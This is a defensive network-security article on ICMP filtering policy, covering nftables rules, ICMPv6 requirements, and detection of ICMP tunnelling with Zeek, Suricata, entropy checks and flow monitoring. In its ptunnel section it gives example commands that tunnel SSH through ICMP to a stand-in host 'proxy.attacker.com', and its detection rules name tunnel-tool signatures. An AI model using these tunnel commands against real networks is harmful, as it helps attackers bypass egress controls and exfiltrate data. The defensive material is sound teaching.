ICMP Security: What to Allow, What to Block, and Detecting ICMP Tunnelling
The Problem
The default security posture for ICMP in many organisations is one of two extremes: either allow everything and assume ping is harmless, or block everything at the perimeter because “ping is an attack vector.” Both positions are wrong, and each in its own way creates operational and security problems.
Allowing all ICMP without restriction exposes hosts to ICMP floods, redirect injection, and — more critically — leaves open a covert channel that experienced attackers use routinely. ICMP tunnelling tools like ptunnel, icmptunnel, and hans encapsulate full TCP sessions inside ICMP echo request and reply payloads, allowing an attacker with shell access to a host behind a firewall that permits outbound ping to exfiltrate data, establish C2 sessions, or bypass egress controls entirely. The technique has been used in red team engagements and real-world intrusions since the early 2000s and remains effective wherever ping is allowed.
Blocking all ICMP is the more common mistake in hardened environments. It breaks Path MTU Discovery, causing silent TCP black holes where connections appear established but data transfer fails or hangs. It disables router time-exceeded messages, making traceroute useless for network troubleshooting. It prevents availability monitoring tools from differentiating between “host unreachable” and “host down.” And for IPv6, blocking ICMPv6 entirely makes the network non-functional: Neighbour Discovery Protocol (NDP) — the IPv6 equivalent of ARP — is implemented entirely over ICMPv6 and cannot be disabled without breaking address resolution, router advertisement, and duplicate address detection.
The correct approach is selective ICMP filtering: allow the types that are operationally required or mandated by standards, rate-limit echo, block the types that have no legitimate inbound use case, and instrument the traffic to detect tunnelling.
This article covers the complete policy: a type-by-type reference, nftables hardening rules, ICMPv6-specific requirements, tunnelling detection with Zeek and Suricata, ICMP in Kubernetes with Cilium, and monitoring baselines.
Why Blocking All ICMP is Operationally Destructive
Path MTU Discovery
RFC 1191 (IPv4) and RFC 1981 (IPv6) define Path MTU Discovery (PMTUD) as the mechanism by which a host determines the maximum transmission unit along a path to a destination without fragmenting packets in transit. When a router on the path cannot forward a packet because it exceeds the outgoing interface MTU, it sends an ICMP type 3 code 4 message — “Fragmentation Needed and DF Bit Set” — back to the source with the MTU of the next-hop interface.
If that ICMP message is blocked by a firewall, the source never learns the MTU restriction. TCP connections that negotiate an MSS larger than an intermediate hop’s MTU will establish successfully — the TCP handshake packets are small enough to pass — but data segments will be silently dropped by the router when they exceed the hop MTU. The result is a “PMTUD black hole”: a connection that appears up at the TCP level but transfers no data, or transfers data at dramatically reduced rates as the OS eventually falls back to lower MSS values through heuristics.
ICMP type 3 code 4 must be allowed inbound to any host that communicates across the internet or across network segments with variable MTUs. This is not optional. Firewalls that block it create invisible connectivity failures that are extremely difficult to diagnose.
Time Exceeded and Traceroute
ICMP type 11 (Time Exceeded) is sent by routers when a packet’s TTL reaches zero. Traceroute works by sending packets with incrementally increasing TTLs and collecting the type 11 responses from each hop to map the path. Blocking type 11 inbound makes traceroute useless and makes network path troubleshooting significantly harder. There is no security justification for blocking inbound time exceeded messages to a host — they carry no payload that can be weaponised and cannot be used to reach protected services.
Echo Reply for Monitoring
If you block ICMP echo-reply (type 0), your monitoring infrastructure cannot determine whether a host is reachable. This forces monitoring tools to fall back to TCP port probes, which have higher overhead and provide less fundamental reachability information. Inbound echo-reply from hosts your infrastructure has probed is required for any ping-based availability monitoring to function.
ICMP Types Reference and Filtering Policy
The following table covers the ICMP types relevant to a practical filtering policy. Types not listed (many are obsolete or informational only) should be blocked by default.
| Type | Code | Name | Direction | Policy | Rationale |
|---|---|---|---|---|---|
| 0 | 0 | Echo Reply | Inbound | Allow (rate-limit) | Required for outbound ping and monitoring |
| 3 | 0 | Net Unreachable | Inbound | Allow | Path feedback, needed for routing |
| 3 | 1 | Host Unreachable | Inbound | Allow | Path feedback |
| 3 | 3 | Port Unreachable | Inbound | Allow | Application unreachable feedback |
| 3 | 4 | Fragmentation Needed (PMTUD) | Inbound | Must Allow | PMTUD; blocking causes TCP black holes |
| 3 | 9–10 | Admin Prohibited | Inbound | Allow | Explicit reject feedback |
| 3 | 13 | Communication Admin Prohibited | Inbound | Allow | Firewall reject feedback |
| 4 | 0 | Source Quench | Any | Block | Deprecated in RFC 6633; no legitimate use |
| 5 | any | Redirect | Inbound | Block | MITM vector; disable at sysctl level too |
| 8 | 0 | Echo Request | Inbound | Allow (rate-limit) | Required for reachability monitoring |
| 8 | 0 | Echo Request | Outbound to internet | Block or restrict | Not needed unless explicit monitoring requirement |
| 9 | 0 | Router Advertisement | Inbound | Block (IPv4) | Should not arrive from internet |
| 10 | 0 | Router Solicitation | Outbound | Block (IPv4) | No legitimate use externally |
| 11 | 0 | TTL Exceeded in Transit | Inbound | Allow | Traceroute; path troubleshooting |
| 11 | 1 | Fragment Reassembly Time Exceeded | Inbound | Allow | Fragmentation diagnostics |
| 12 | 0 | Parameter Problem | Inbound | Allow | Header error feedback |
| 13 | 0 | Timestamp | Any | Block | Timing side-channel; not needed |
| 14 | 0 | Timestamp Reply | Any | Block | Timing side-channel |
| 15 | 0 | Information Request | Any | Block | Obsolete |
| 16 | 0 | Information Reply | Any | Block | Obsolete |
| 17 | 0 | Address Mask Request | Any | Block | Obsolete; historical MITM vector |
| 18 | 0 | Address Mask Reply | Any | Block | Obsolete |
ICMP types 0–255 not listed above should be blocked at the perimeter. The default posture is deny; the above types are explicit exceptions.
nftables ICMP Hardening Policy
The following nftables ruleset implements the filtering policy above. It handles both IPv4 ICMP and ICMPv6 (covered in detail in the next section), applies rate limiting to echo traffic, and blocks redirect and timestamp types explicitly.
#!/usr/sbin/nft -f
# /etc/nftables.d/icmp-policy.conf
# ICMP and ICMPv6 hardening policy
# Load after main table definition
table inet filter {
# Rate limiting set for echo requests — prevents ICMP flood
# Limit: 10 echo-request packets per second, burst of 20
set icmp_echo_limit {
type ipv4_addr
flags dynamic, timeout
timeout 60s
}
chain icmp_policy {
# Echo reply — allow inbound (monitoring tools need this)
icmp type echo-reply accept
# Fragmentation needed (PMTUD) — must not be blocked
icmp type destination-unreachable icmp code frag-needed accept
# Destination unreachable variants
icmp type destination-unreachable icmp code net-unreachable accept
icmp type destination-unreachable icmp code host-unreachable accept
icmp type destination-unreachable icmp code port-unreachable accept
icmp type destination-unreachable icmp code admin-prohibited accept
icmp type destination-unreachable icmp code host-admin-prohibited accept
# Time exceeded (traceroute/TTL expiry feedback)
icmp type time-exceeded accept
# Parameter problem
icmp type parameter-problem accept
# Echo request — inbound with rate limiting
# Drop if source exceeds 10 packets/second
icmp type echo-request \
add @icmp_echo_limit { ip saddr limit rate over 10/second burst 20 packets } \
drop
icmp type echo-request accept
# Block redirect — MITM vector (complement sysctl net.ipv4.conf.all.accept_redirects=0)
icmp type redirect drop comment "redirect injection MITM vector"
# Block source quench — deprecated RFC 6633
icmp type source-quench drop
# Block timestamp — timing side-channel
icmp type timestamp-request drop
icmp type timestamp-reply drop
# Block router advertisement/solicitation on internet-facing interfaces
# (handle in interface-specific chains for internal interfaces)
icmp type router-advertisement drop
icmp type router-solicitation drop
# Block address mask — obsolete attack vector
# nftables does not have named constants for types 17/18;
# match by numeric type
icmp type 17 drop
icmp type 18 drop
# Default drop for all other ICMP types
drop
}
chain input {
type filter hook input priority 0; policy drop;
# Established/related connections
ct state established,related accept
# Jump to ICMP policy for all ICMP
ip protocol icmp jump icmp_policy
# ... other rules
}
chain output {
type filter hook output priority 0; policy accept;
# Block outbound echo-request to RFC 1918 space is usually
# fine; for internet-facing hosts that don't need outbound ping:
# ip daddr != { 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 } \
# icmp type echo-request drop
}
}
To apply rate limiting to ICMP floods at the chain level before any type-specific processing, add a blanket rate limit at the top of the input chain:
# Blanket ICMP rate limit before type-specific processing
# Allows 100 ICMP packets/second total; logs and drops excess
nft add rule inet filter input ip protocol icmp \
limit rate over 100/second burst 200 packets \
log prefix "ICMP-FLOOD: " level warn drop
Smurf Attack Prevention
A smurf attack amplifies ICMP by sending echo-requests with a spoofed source address to broadcast addresses, causing all hosts on the subnet to respond to the victim. The sysctl net.ipv4.icmp_echo_ignore_broadcasts=1 prevents responding to broadcast-directed ICMP at the kernel level. The nftables complement blocks inbound echo-requests destined for broadcast or multicast addresses:
# Block ICMP echo-request to broadcast/multicast — smurf amplification prevention
# Add to the icmp_policy chain before the echo-request accept rule
icmp type echo-request ip daddr 255.255.255.255 drop
icmp type echo-request ip daddr { 224.0.0.0/4 } drop
# Directed broadcasts (x.x.x.255) are harder to match generically;
# handle at the interface level with rp_filter and the kernel sysctl
ICMP Redirect Hardening
ICMP redirects (type 5) allow a router to inform a host of a better next-hop for a destination. In practice, attackers on the local network can send crafted redirect messages to poison routing tables and redirect traffic through attacker-controlled nodes. The primary defence is the sysctl settings net.ipv4.conf.all.accept_redirects=0 and net.ipv4.conf.all.secure_redirects=0, which prevent the kernel from acting on redirect messages regardless of what the firewall allows. The nftables rule above adds a second layer by dropping redirect packets before they reach the kernel’s ICMP processing path. Both controls should be applied — defence in depth matters when the attack is this low-cost.
ICMPv6: What You Cannot Block
IPv6 has a hard dependency on ICMPv6. The Neighbour Discovery Protocol (NDP), defined in RFC 4861, replaces IPv4 ARP entirely and is implemented over ICMPv6 types 133–137. Without NDP, IPv6 hosts cannot resolve link-layer addresses, cannot discover routers, cannot perform duplicate address detection, and cannot participate in stateless address autoconfiguration. Blocking these ICMPv6 types makes IPv6 non-functional.
| ICMPv6 Type | Name | Policy | Notes |
|---|---|---|---|
| 1 | Destination Unreachable | Allow | Includes PMTUD code 4 |
| 2 | Packet Too Big | Must Allow | IPv6 PMTUD — no DF bit, always used |
| 3 | Time Exceeded | Allow | Traceroute |
| 4 | Parameter Problem | Allow | Header error feedback |
| 128 | Echo Request | Allow (rate-limit) | Ping |
| 129 | Echo Reply | Allow | Ping response |
| 130 | Multicast Listener Query | Allow (internal) | MLDv2; multicast group management |
| 131 | Multicast Listener Report | Allow (internal) | MLDv2 |
| 132 | Multicast Listener Done | Allow (internal) | MLDv2 |
| 133 | Router Solicitation | Allow | NDP: host requests router |
| 134 | Router Advertisement | Allow (internal only) | NDP: router announces prefix; block from internet |
| 135 | Neighbour Solicitation | Must Allow | NDP: replaces ARP request |
| 136 | Neighbour Advertisement | Must Allow | NDP: replaces ARP reply |
| 137 | Redirect | Block | Same MITM risk as IPv4 redirect |
| 143 | Multicast Listener Report v2 | Allow (internal) | MLDv2 |
The nftables ICMPv6 policy:
chain icmpv6_policy {
# Packet Too Big — IPv6 PMTUD, must not be blocked under any circumstances
icmpv6 type packet-too-big accept
# Destination unreachable
icmpv6 type destination-unreachable accept
# Time exceeded (traceroute)
icmpv6 type time-exceeded accept
# Parameter problem
icmpv6 type parameter-problem accept
# Echo (rate-limited)
icmpv6 type echo-request \
limit rate 10/second burst 20 packets \
accept
icmpv6 type echo-request drop
icmpv6 type echo-reply accept
# NDP — must allow for IPv6 to function
# Neighbour solicitation and advertisement: any source
icmpv6 type { nd-neighbor-solicit, nd-neighbor-advert } accept
# Router solicitation from link-local only (hosts asking for router)
icmpv6 type nd-router-solicit ip6 saddr fe80::/10 accept
# Router advertisement: accept from link-local (routers), block from internet
# On internet-facing interfaces, this chain should only see RA from
# link-local addresses; RA from global addresses is anomalous
icmpv6 type nd-router-advert ip6 saddr fe80::/10 accept
icmpv6 type nd-router-advert drop comment "RA from non-link-local — rogue RA"
# Block redirect — same MITM concern as IPv4
icmpv6 type nd-redirect drop
# MLDv2 (multicast listener; internal only — fe80:: or :: source)
icmpv6 type { mld-listener-query, mld-listener-report, mld-listener-done } \
ip6 saddr { ::/128, fe80::/10 } accept
# Drop everything else
drop
}
chain input {
type filter hook input priority 0; policy drop;
ct state established,related accept
meta l4proto icmpv6 jump icmpv6_policy
# ... other rules
}
Note on IPv6 PMTUD: IPv6 requires Packet Too Big (type 2) even more critically than IPv4 requires type 3 code 4. IPv6 has no router fragmentation — all fragmentation is handled end-to-end. If an intermediate router encounters a packet larger than its MTU, it sends Packet Too Big and drops the packet. There is no fallback. Blocking ICMPv6 type 2 makes IPv6 TCP connections over heterogeneous MTU paths fail silently.
ICMP Tunnelling: Techniques and Tools
ICMP tunnelling exploits a simple observation: many perimeter firewalls that block TCP and UDP from the internet to internal hosts still allow ICMP echo-request and echo-reply, on the assumption that ping is harmless. By encapsulating arbitrary data in the payload field of echo packets, an attacker can establish a bidirectional data channel through these firewalls.
The ICMP echo-request and echo-reply message formats include an unrestricted data payload field. Legitimate ping implementations use this field for a pattern of bytes (commonly a timestamp followed by a repeating byte pattern) to measure round-trip time. Nothing in the protocol prevents arbitrary data from occupying this field — the payload is not validated or restricted by routers in transit.
ptunnel
ptunnel (Ping Tunnel) is the most widely-known ICMP tunnelling tool. It runs a proxy server on a host reachable from the internet that the target firewall allows ping through. A client on the isolated host connects to the proxy using ICMP echo; the proxy forwards the encapsulated TCP connection to the actual destination. Full TCP over ICMP, using ICMP echo-request/reply as the transport layer.
# ptunnel server (on internet-accessible proxy host)
ptunnel-ng -x secretpassword
# ptunnel client (on isolated host behind firewall)
# Creates local TCP listener on port 8080 that tunnels to
# proxy:22 (SSH) through ICMP
ptunnel-ng -p proxy.attacker.com -lp 8080 -da 192.168.1.10 -dp 22 -x secretpassword
# Now SSH through the ICMP tunnel:
ssh -p 8080 user@127.0.0.1
icmptunnel
icmptunnel creates a full IP tunnel over ICMP, allowing any IP traffic — not just TCP — to pass through. It creates a TUN interface at each endpoint and forwards all IP packets as ICMP payload. This is more powerful than ptunnel because it tunnels the entire IP layer, not just individual TCP connections.
hans
hans (another ICMP tunnelling tool) works similarly to icmptunnel but with a simpler client/server model designed for ease of deployment. It also creates TUN interfaces and handles IP-over-ICMP.
All three tools share the same detectable characteristic: they transmit substantially more data in ICMP payload fields than any legitimate ping implementation ever would.
Detecting ICMP Tunnelling
Payload Size Anomalies
Legitimate ping implementations send small, fixed-size payloads:
- Linux
pingdefault: 56 bytes data (64 bytes ICMP total, 84 bytes IP total) - Windows
pingdefault: 32 bytes data - macOS
pingdefault: 56 bytes data
ICMP tunnelling tools send payloads as large as the MTU will allow — typically 1400–1472 bytes — to maximise throughput. A stream of ICMP echo-request packets with 1400-byte payloads is unambiguous evidence of tunnelling. Additionally, legitimate ping traffic has highly consistent payload sizes (the same size for every packet in a sequence); tunnel traffic has variable payload sizes matching the varying sizes of the encapsulated data.
Detection threshold: any ICMP echo-request payload exceeding 100 bytes from an external host warrants investigation. Payloads exceeding 500 bytes are effectively certain to be tunnel traffic.
Zeek Detection Rules
Zeek’s ICMP analysis framework provides the data needed to detect tunnelling. The following Zeek script raises a notice for ICMP payloads that exceed the size expected for legitimate ping:
# /etc/zeek/site/icmp-tunnel-detect.zeek
# Detect ICMP tunnelling based on payload size and rate anomalies
@load base/frameworks/notice
module ICMPTunnel;
export {
redef enum Notice::Type += {
Large_ICMP_Payload,
ICMP_Tunnel_Suspected,
};
# Threshold: ICMP payload bytes above this size are suspicious
const large_payload_threshold = 128 &redef;
# Rate threshold: N large-payload ICMP packets in time window
const tunnel_packet_count = 10 &redef;
const tunnel_time_window = 60 sec &redef;
}
# Track large-payload ICMP echo packets per source
global icmp_large_counts: table[addr] of count &default=0 &create_expire=60sec;
global icmp_large_start: table[addr] of time &default=network_time();
event icmp_echo_request(c: connection, icmp: icmp_conn, id: count,
seq: count, payload: string) {
local plen = |payload|;
if ( plen > large_payload_threshold ) {
NOTICE([$note=Large_ICMP_Payload,
$conn=c,
$msg=fmt("ICMP echo-request from %s: payload %d bytes (threshold %d)",
c$id$orig_h, plen, large_payload_threshold),
$identifier=cat(c$id$orig_h)]);
icmp_large_counts[c$id$orig_h] += 1;
if ( icmp_large_counts[c$id$orig_h] >= tunnel_packet_count ) {
NOTICE([$note=ICMP_Tunnel_Suspected,
$conn=c,
$msg=fmt("ICMP tunnel suspected from %s: %d large-payload echo-requests in %s",
c$id$orig_h,
icmp_large_counts[c$id$orig_h],
tunnel_time_window),
$identifier=cat(c$id$orig_h),
$suppress_for=10 min]);
delete icmp_large_counts[c$id$orig_h];
}
}
}
Load it in /etc/zeek/site/local.zeek:
@load site/icmp-tunnel-detect
Suricata Detection Rules
Suricata can match ICMP payload content and size. The following rules detect known tunnel tool characteristics:
# /etc/suricata/rules/icmp-tunnel.rules
# Large ICMP payload — generic tunnelling indicator
# dsize matches the ICMP data payload, not including ICMP header
alert icmp any any -> $HOME_NET any (
msg:"ICMP Tunnelling - Oversized Echo Request Payload";
itype:8;
dsize:>200;
classtype:policy-violation;
sid:9100001;
rev:1;
)
alert icmp any any -> $HOME_NET any (
msg:"ICMP Tunnelling - Very Large Payload Consistent with IP-in-ICMP";
itype:8;
dsize:>1000;
classtype:trojan-activity;
priority:1;
sid:9100002;
rev:1;
)
# ptunnel characteristic: fixed magic value in payload header
# ptunnel uses a 4-byte magic 0xD5200880 at offset 0 in the ICMP payload
alert icmp any any -> any any (
msg:"ICMP ptunnel Magic Value Detected";
itype:8;
content:"|D5 20 08 80|";
offset:0;
depth:4;
classtype:trojan-activity;
priority:1;
sid:9100003;
rev:1;
)
# hans characteristic: IP header embedded in ICMP payload
# hans embeds a full IP header starting with 0x45 (IPv4, IHL=5) at offset 0
alert icmp any any -> any any (
msg:"ICMP hans Tunnel - IP Header in Payload";
itype:8;
dsize:>40;
content:"|45|";
offset:0;
depth:1;
classtype:trojan-activity;
priority:1;
sid:9100004;
rev:1;
)
# Outbound echo-request flood from internal host — tunnel client or DoS
alert icmp $HOME_NET any -> any any (
msg:"ICMP Echo-Request Rate Anomaly - Potential Tunnel Client";
itype:8;
detection_filter: track by_src, count 50, seconds 10;
classtype:policy-violation;
sid:9100005;
rev:1;
)
Payload Entropy Analysis
ICMP tunnelling traffic carrying encrypted or compressed data (which it almost always does, because the tunnelled connections are typically SSH or TLS) has high payload entropy — close to 8 bits per byte. Legitimate ping payloads have low entropy: the default Linux ping payload is a repeating sequence of ASCII characters, with entropy around 3–4 bits per byte.
Tools like p0f and network analysis scripts using Shannon entropy can flag ICMP payloads with entropy above 7.5 bits/byte. This is a strong indicator of encrypted tunnel traffic.
For a quick Python check against a pcap:
#!/usr/bin/env python3
# icmp_entropy_check.py — flag high-entropy ICMP payloads
import math
import sys
from scapy.all import rdpcap, ICMP
def entropy(data: bytes) -> float:
if not data:
return 0.0
counts = [0] * 256
for b in data:
counts[b] += 1
n = len(data)
return -sum((c/n) * math.log2(c/n) for c in counts if c > 0)
ENTROPY_THRESHOLD = 7.2
SIZE_THRESHOLD = 100 # bytes — ignore small legitimate pings
packets = rdpcap(sys.argv[1])
for pkt in packets:
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8: # echo-request
payload = bytes(pkt[ICMP].payload)
if len(payload) > SIZE_THRESHOLD:
h = entropy(payload)
if h > ENTROPY_THRESHOLD:
src = pkt.sprintf("%IP.src%")
dst = pkt.sprintf("%IP.dst%")
print(f"HIGH ENTROPY ICMP: {src} -> {dst} "
f"len={len(payload)} entropy={h:.2f}")
ICMP in Kubernetes
Standard Kubernetes NetworkPolicy resources operate at Layer 4 (TCP/UDP) and do not provide ICMP type filtering. A NetworkPolicy that appears to block all ingress traffic still permits ICMP echo by default in most CNI implementations — ipTables-based CNIs like Flannel and Calico (in iptables mode) do not enforce NetworkPolicy restrictions on ICMP.
Cilium ICMP Network Policy
Cilium, using eBPF-based enforcement, supports ICMP type filtering in both CiliumNetworkPolicy and CiliumClusterwideNetworkPolicy resources.
# Allow only ICMP echo-request/reply and PMTUD-required types
# Block all other ICMP including oversized echo that could indicate tunnelling
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
name: icmp-restrict
namespace: production
spec:
endpointSelector:
matchLabels:
app: web
ingress:
- fromEntities:
- world
icmps:
- fields:
- family: IPv4
type: 8 # Echo request — rate limiting handled by nftables on node
- family: IPv4
type: 0 # Echo reply
- family: IPv4
type: 3 # Destination unreachable (includes PMTUD code 4)
- family: IPv4
type: 11 # Time exceeded
egress:
- toEntities:
- world
icmps:
- fields:
- family: IPv4
type: 0 # Echo reply (responses to monitoring)
- family: IPv4
type: 3 # Destination unreachable
- family: IPv4
type: 11 # Time exceeded
Note that Cilium’s ICMP filtering matches on type only, not code. The fragmentation-needed code (code 4) within type 3 is permitted by allowing type 3 generally. If you need to restrict specific codes within type 3 (e.g., block type 3 code 3 port-unreachable while allowing code 4), you must implement that at the node-level nftables layer rather than through CiliumNetworkPolicy.
For clusters where Cilium is not available, the practical mitigation is to ensure pod-to-external-internet ICMP is blocked at the node’s nftables policy (which applies regardless of CNI), and that internal ICMP is monitored by a DaemonSet-deployed Zeek or Suricata instance with the rules above.
Monitoring ICMP Traffic
Baseline Establishment
Normal ICMP traffic on a production network follows predictable patterns:
- Volume: Monitoring pings at regular intervals (30s or 60s) produce steady, low-rate echo-request traffic. Any significant deviation from this baseline — particularly sudden increases in echo-request rate or payload volume — is anomalous.
- Payload size distribution: In a legitimate environment, nearly all ICMP echo payloads cluster at 32 bytes (Windows) or 56 bytes (Linux/macOS). A bimodal or uniform distribution across sizes indicates mixed legitimate and tunnel traffic.
- Type distribution: In normal operation, type 0 and type 8 (echo/reply) dominate. A sudden appearance of type 3 code 4 messages suggests MTU issues on a path. Type 5 (redirect) appearing from a host that is not a router indicates either misconfiguration or an active redirect injection attack.
- Duration: Legitimate ping sessions are short (a few seconds of monitoring probes). Sustained ICMP echo-request/reply sessions lasting minutes or hours with consistent or increasing payload sizes are strong tunnel indicators.
Alerting Rules (Prometheus/Alertmanager)
If you are collecting ICMP metrics through node exporters or a flow collection system (NetFlow, IPFIX, sFlow) pushed into Prometheus:
# prometheus/alerts/icmp.yml
groups:
- name: icmp_anomalies
rules:
- alert: ICMPFlood
expr: |
rate(network_icmp_inbound_packets_total{type="echo-request"}[1m]) > 100
for: 30s
labels:
severity: warning
annotations:
summary: "ICMP echo-request flood on {{ $labels.instance }}"
description: >
{{ $labels.instance }} receiving {{ $value | humanize }} ICMP
echo-requests/second. Normal monitoring traffic is < 5/second.
- alert: ICMPLargePayload
expr: |
avg(network_icmp_payload_bytes_avg{type="echo-request"}) > 200
for: 2m
labels:
severity: critical
annotations:
summary: "Large ICMP payload detected — possible tunnel"
description: >
Average ICMP echo-request payload on {{ $labels.instance }} is
{{ $value }} bytes. Legitimate ping payloads are < 64 bytes.
Investigate for ICMP tunnelling.
Flow-Based Detection
If your environment exports NetFlow or IPFIX, ICMP tunnelling is visible in flow data even without DPI:
- Flows with
protocol=1(ICMP), long duration (>60 seconds), high byte count (>10KB), and consistent packet rate are tunnel sessions. - Legitimate monitoring flows have very low byte counts per flow (each ping is a single small request and reply pair).
A Zeek-level flow summary is also effective. The Conn::LOG entries for ICMP connections with resp_bytes > 50000 or duration > 300 seconds are reliable tunnel indicators.
Summary: Minimum Required ICMP Policy
Three rules that must be in every policy:
- Allow ICMP type 3 code 4 (fragmentation needed) inbound. Blocking it causes silent TCP black holes on any path with variable MTUs. This is non-negotiable.
- Allow ICMPv6 types 135 and 136 (neighbour solicitation and advertisement) in both directions. Blocking them makes IPv6 non-functional on the host.
- Allow ICMPv6 type 2 (packet too big) inbound. IPv6 PMTUD depends entirely on this message.
Beyond these three, apply the type table in this article, rate-limit echo to prevent floods, block redirects at both the firewall and sysctl layers, and instrument with Zeek or Suricata to detect the payload size and entropy anomalies that identify tunnelling traffic. ICMP is a small protocol with a large attack surface — the filtering policy is straightforward once the operational requirements are understood.